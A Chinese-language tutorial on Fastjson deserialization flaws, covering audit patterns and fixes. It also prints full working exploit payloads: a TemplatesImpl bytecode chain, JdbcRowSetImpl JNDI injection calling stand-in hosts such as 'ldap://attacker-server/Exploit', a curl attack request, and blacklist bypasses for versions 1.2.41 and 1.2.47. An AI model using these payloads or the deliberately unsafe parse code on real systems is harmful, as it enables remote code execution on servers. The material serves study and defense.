一、漏洞原理
Fastjson反序列化漏洞的核心问题在于:当反序列化过程中自动加载了恶意类(通过@type
指定)时,可能触发任意代码执行。关键点:
-
AutoType机制:Fastjson通过
@type
标识类名,反序列化时会尝试实例化该类 -
危险类利用:攻击者通过指定包含危险方法的类(如
TemplatesImpl
),构造恶意JSON -
版本差异:漏洞主要存在于1.2.24及之前版本,后续版本通过关闭AutoType默认值增加了安全防护
二、漏洞代码示例
1. 存在漏洞的服务端代码(Spring Boot示例)
@RestController
public class VulnerableController {
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// 危险操作:直接使用fastjson解析不可信数据
Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
return "Parsed: " + obj.getClass().getName();
}
}
2. 恶意类构造(攻击者准备的Exploit类)
public class EvilClass {
static {
try {
// 弹计算器作为攻击演示(实际攻击可能是更危险的操作)
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
三、攻击利用过程
1. 构造恶意JSON
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意类的字节码(Base64编码后的EvilClass.class)"],
"_name": "xxx",
"_tfactory": {},
"_outputProperties": {}
}
2. 攻击步骤
(1)编译EvilClass.java
生成class文件
(2)将class文件进行Base64编码
(3)发送恶意HTTP请求:
curl -X POST http://vulnerable-server/parse \
-H "Content-Type: application/json" \
-d '{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADIAlgo..."],
"_name": "hack",
"_tfactory": {},
"_outputProperties": {}
}'
3. 漏洞触发过程
JSON.parseObject()
-> 解析@type指定的类
-> 实例化TemplatesImpl
-> 自动调用getOutputProperties()
-> 加载恶意字节码
-> 执行static代码块中的代码
四、代码审计关键点
在审计Fastjson代码时,需要重点关注以下模式:
1. 危险方法调用
// 高风险用法
JSON.parse(jsonStr);
JSON.parseObject(jsonStr, Object.class);
JSON.parseObject(jsonStr, Type.class, Feature.SupportNonPublicField);
// 相对安全的用法(指定具体类型)
JSON.parseObject(jsonStr, User.class);
2. AutoType相关配置
检查是否关闭了安全配置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 危险配置
ParserConfig.getGlobalInstance().addAccept("com.example."); // 白名单控制
五、修复方案
1. 基础修复措施
// (1) 升级到安全版本(1.2.83+)
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
// (2) 关闭AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// (3) 使用安全模式(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
2. 安全编码规范
// 反序列化时指定具体类型
User user = JSON.parseObject(jsonStr, User.class);
// 不要反序列化接口/抽象类等非具体类型
六、漏洞验证POC
这里给出一个本地验证的完整代码:
public class FastjsonPoc {
public static void main(String[] args) {
// 构造恶意JSON(使用JNDI注入方式演示)
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://attacker-server/Exploit\"," +
"\"autoCommit\":true}";
// 模拟服务端反序列化操作
try {
JSON.parse(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
七、拓展知识
-
Gadgets链:实际攻击中需要构造利用链,常见的有:
-
JdbcRowSetImpl(JNDI注入)
-
TemplatesImpl(字节码加载)
-
BCEL ClassLoader
-
-
绕过方式:新版本中的AutoType绕过技巧包括:
-
使用L开头、;结尾的类名
-
利用未在黑名单中的第三方库
-
特殊字符绕过
-
根据案例深入分析
以下是几个Fastjson反序列化漏洞的真实案例解析,涵盖不同版本和利用链的典型场景:
案例1:TemplatesImpl字节码加载(无网络交互利用链)
漏洞版本:Fastjson <=1.2.24
利用链原理
-
触发点:通过
_bytecodes
字段加载恶意类字节码,利用TemplatesImpl
类的getOutputProperties()
方法触发类加载。 -
攻击步骤:
-
构造恶意类:编写一个继承
AbstractTranslet
的类(如EvilObject
),在静态代码块或构造函数中植入恶意代码(如执行系统命令)。 -
生成字节码:将恶意类编译为
.class
文件,进行Base64编码。 -
构造Payload:
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["恶意字节码Base64"], "_name": "a.b", "_tfactory": {}, "_outputProperties": {} }
-
触发漏洞:服务端调用
JSON.parseObject()
时,TemplatesImpl
的getOutputProperties()
方法被触发,加载并执行恶意字节码中的代码。
-
技术细节
-
关键字段:
_bytecodes
存储恶意类字节码,_outputProperties
触发getOutputProperties()
方法。 -
绕过限制:需启用
Feature.SupportNonPublicField
以支持非公有字段的反序列化。
案例2:1.2.47版本缓存机制绕过AutoType
漏洞版本:Fastjson 1.2.47
利用链原理
-
触发点:利用Fastjson的缓存机制绕过AutoType黑名单,结合
java.lang.Class
和JdbcRowSetImpl
实现JNDI注入。 -
攻击步骤:
-
构造双Payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-ip:1389/Exploit", "autoCommit": true } }
-
利用缓存机制:第一个Payload通过
java.lang.Class
将JdbcRowSetImpl
类名加入缓存,第二个Payload绕过黑名单检查。 -
JNDI注入:触发
autoCommit
属性后,服务端连接攻击者控制的LDAP/RMI服务器,加载远程恶意类。
-
技术细节
-
缓存绕过:Fastjson在解析
java.lang.Class
时会将类名缓存,后续解析时跳过黑名单校验。 -
适用场景:JDK版本需支持JNDI远程加载(如JDK 8u191之前)。
案例3:CTF比赛中利用FlagBean类的Getter方法
漏洞场景:CTF竞赛中的Flag读取
利用链原理
-
触发点:通过无
setter
但满足条件的getter
方法触发敏感操作。 -
攻击步骤:
-
构造Payload:
{ "@type": "com.ctfshow.happyfjs.Beans.FlagBean", "flag": { "@type": "java.util.HashMap" } }
-
触发
getFlag
方法:FlagBean
类中getFlag
方法满足以下条件:-
方法名以
get
开头且第四个字符大写。 -
返回值类型为
Map
。 -
无对应的
setFlag
方法。
-
-
执行敏感操作:
getFlag
方法内部逻辑可能触发命令执行或直接返回Flag。
-
技术细节
-
Fastjson规则:无
setter
时,若getter
满足特定条件(如返回值继承自Collection
/Map
),则会被调用。 -
防御绕过:通过构造合法的类结构触发隐藏逻辑。
案例4:1.2.41版本黑名单绕过(类名双写)
漏洞版本:Fastjson 1.2.41
利用链原理
-
触发点:利用Fastjson对类名处理的缺陷,通过双写类名绕过黑名单。
-
Payload构造:
{ "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "rmi://attacker-ip:1099/Exploit", "autoCommit": true }
-
绕过原理:Fastjson在解析类名时会去除开头的
L
和结尾的;
,导致实际加载的类名为com.sun.rowset.JdbcRowSetImpl
,绕过黑名单检查。
漏洞修复与防御建议
-
升级版本:使用Fastjson >=1.2.83,默认关闭AutoType并增强黑名单。
-
安全配置:
ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType
-
输入验证:避免反序列化未经验证的JSON数据,使用具体类而非
Object.class
。 -
运行时防护:
# 限制JNDI远程加载 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
总结
Fastjson漏洞的核心在于AutoType机制和危险类的链式调用。在审计时需关注:
-
JSON.parseObject()
未指定具体类型的情况。 -
黑名单覆盖范围及绕过可能性。
-
敏感类(如
TemplatesImpl
、JdbcRowSetImpl
)的调用路径。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)